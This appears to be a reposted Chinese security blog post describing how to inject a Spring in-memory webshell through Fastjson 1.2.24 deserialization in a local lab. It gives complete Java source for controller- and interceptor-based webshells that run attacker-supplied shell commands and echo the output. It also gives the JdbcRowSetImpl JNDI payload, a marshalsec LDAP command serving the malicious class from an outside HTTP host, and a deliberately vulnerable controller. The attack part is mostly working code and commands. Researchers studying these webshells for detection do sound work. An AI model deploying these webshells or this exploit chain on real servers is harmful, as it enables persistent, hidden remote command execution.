利用Fastjson注入Spring内存马

渗透技巧 2年前 (2021) admin

737 0 0

此篇文章在于记录自己对spring内存马的实验研究

一、环境搭建

搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马。

1）组件版本：

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2）搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建，这里我放出我自己环境的配置文件

web.xml

<servlet>    <servlet-name>SpringMVC</servlet-name>    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>    <!--配置springmvc.xml的路径-->    <init-param>      <param-name>contextConfigLocation</param-name>      <param-value>classpath:springmvc.xml</param-value>    </init-param>  </servlet>  <servlet-mapping>    <servlet-name>SpringMVC</servlet-name>    <url-pattern>/</url-pattern>  </servlet-mapping></web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中-->    <context:component-scan base-package="test.controller"></context:component-scan>
    <mvc:annotation-driven/>
    <!--配置视图解析器-->    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">        <!--配置前缀-->        <property name="prefix" value="/"></property>        <!--配置后缀-->        <property name="suffix" value=".jsp"></property>    </bean>
</beans>

HelloController

@Controllerpublic class HelloController {    @ResponseBody    @RequestMapping(value = "/hello", method = RequestMethod.POST)    public Object hello(@RequestParam("code")String code) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        System.out.println(code);        Object object = JSON.parse(code);        return code + "->JSON.parseObject()->" + object;    }}

pom.xml

<dependency>  <groupId>com.alibaba</groupId>  <artifactId>fastjson</artifactId>  <version>1.2.24</version></dependency>
<dependency>  <groupId>junit</groupId>  <artifactId>junit</artifactId>  <version>4.11</version>  <scope>test</scope></dependency><!--SpringMVC依赖--><dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-webmvc</artifactId>  <version>4.3.28.RELEASE</version></dependency>

二、动态注册controller

在springMVC中，也可以在服务器程序启动后，利用某种方式实现动态加载controller。

1）获取上下文

在LandGrey文章中介绍了四种方法，分别是

方式一：getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二：WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三：RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四：getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说，推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2）注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外，还有其余的方式可以参考

https://landgrey.me/blog/12/

三、内存马

以下是大佬的内存马，接下来进行一个改动，使之能进行回显

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;
public class InjectToController {    // 第一个构造函数    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象        Method method2 = InjectToController.class.getMethod("test");        // 3. 定义访问 controller 的 URL 地址        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环        InjectToController injectToController = new InjectToController("aaa");        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    // 第二个构造函数    public InjectToController(String aaa) {}    // controller指定的处理方法    public void test() throws  IOException{        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();        // 获取cmd参数并执行命令        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));    }}

修改回显

把test代码中的内容替换为以下

// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exectry {    String arg0 = request.getParameter("cmd");    PrintWriter writer = response.getWriter();    if (arg0 != null) {        String o = "";        java.lang.ProcessBuilder p;        if(System.getProperty("os.name").toLowerCase().contains("win")){            p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});        }else{            p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});        }        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");        o = c.hasNext() ? c.next(): o;        c.close();        writer.write(o);        writer.flush();        writer.close();    }else{        //当请求没有携带指定的参数(code)时，返回 404 错误        response.sendError(404);    }}catch (Exception e){}

最终内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
public class InjectToController {    // 第一个构造函数    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        // 2. 通过反射获得自定义 controller 中test的 Method 对象        Method method2 = InjectToController.class.getMethod("test");        // 3. 定义访问 controller 的 URL 地址        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环        InjectToController injectToController = new InjectToController("aaa");        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    // 第二个构造函数    public InjectToController(String aaa) {}    // controller指定的处理方法    public void test() throws  IOException{        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        //exec        try {            String arg0 = request.getParameter("cmd");            PrintWriter writer = response.getWriter();            if (arg0 != null) {                String o = "";                java.lang.ProcessBuilder p;                if(System.getProperty("os.name").toLowerCase().contains("win")){                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});                }else{                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});                }                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next(): o;                c.close();                writer.write(o);                writer.flush();                writer.close();            }else{                //当请求没有携带指定的参数(code)时，返回 404 错误                response.sendError(404);            }        }catch (Exception e){}    }}

四、测试

fastjson<=1.2.24的 payload：

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1）启动本地http服务，绑定端口8888

python3 -m http.server 8888

利用Fastjson注入Spring内存马

2）利用marshalsec启动LDAP服务，绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

利用Fastjson注入Spring内存马

3）访问存在fastjson反序列化的页面，http://localhost:8080/hello

发送payload：

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

利用Fastjson注入Spring内存马

成功写入内存马

利用Fastjson注入Spring内存马

踩坑

在实验过程中，我发现主要有两个比较难解决的点，导致实验难以继续

1.怎么编译恶意class文件

可以看到，一个恶意类是有大量的依赖，如果直接采用javac编译会报错

-》javac InjectToController.javaInjectToController.java:16: 错误: 编码GBK的不可映射字符    // 绗竴涓瀯閫犲嚱鏁?                 ^InjectToController.java:19: 错误: 编码GBK的不可映射字符        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean                              ^InjectToController.java:19: 错误: 编码GBK的不可映射字符        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean                                                                 ^

这时候可以利用idea自带的编译特性，先运行项目，然后在其项目的target目录中寻找编译后的class文件即可

利用Fastjson注入Spring内存马

2.可以弹出计算器，却无法注入内存马

直接进行debug后发现，在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

利用Fastjson注入Spring内存马

原因在于springmvc.xml文件中，没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持，参考 Spring 的官方文档，<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping（实现为 DefaultAnnotationHandlerMapping）和 HandlerAdapter（实现为 AnnotationMethodHandlerAdapter）两个类型的 Bean，这两个 Bean 为 @Controllers（所有控制器）提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

五、后记

Interceptor内存马

其实不光是可以注入controller型的内存马，还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }
    private TestInterceptor(String aaa){}
    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干扰正常业务逻辑        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        }        else {            return true;        }}}

注册效果：

利用Fastjson注入Spring内存马

六、参考

https://landgrey.me/blog/12/

https://www.cnblogs.com/bitterz/p/14820898.html

https://www.cnblogs.com/bitterz/p/14859766.html

声明

本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系，我们将尽快妥善处理！

谢谢关注↓↓↓

利用Fastjson注入Spring内存马

V安全资讯-为网络安全保驾护航

原文始发于微信公众号（V安全资讯）：利用Fastjson注入Spring内存马

版权声明：admin 发表于 2021年11月10日上午5:20。
转载请注明：利用Fastjson注入Spring内存马 | CTF导航

技术分享|你的智能硬件出卖了你的信息-浅谈办公及教育场景硬件供应链安全

admin

494

针对VMware云虚拟化平台的定制化攻击专题分析

admin

576

科普：使用Cookie会导致哪些安全问题?

admin

1,024

致远OA htmlofficeservlet 任意文件上传

admin

474

nginxWebUI runCmd 未授权远程代码执行

admin

282

关于QQ 文件传输助手分析和利用思路

admin

602

暂无评论

您必须登录才能参与评论！

立即登录

暂无评论...

利用Fastjson注入Spring内存马

一、环境搭建

二、动态注册controller

1）获取上下文

2）注册controller

三、内存马

修改回显

最终内存马

四、测试

踩坑

五、后记

Interceptor内存马

六、参考

每日安全动态推送(11-10)

蓝军技术推送（第六弹）

相关文章

暂无评论

相关文章

利用Fastjson注入Spring内存马

一、环境搭建

二、动态注册controller

1）获取上下文

2）注册controller

三、内存马

修改回显

最终内存马

四、测试

踩坑

五、后记

Interceptor内存马

六、参考

每日安全动态推送(11-10)

蓝军技术推送（第六弹）

相关文章

暂无评论

广告位

相关文章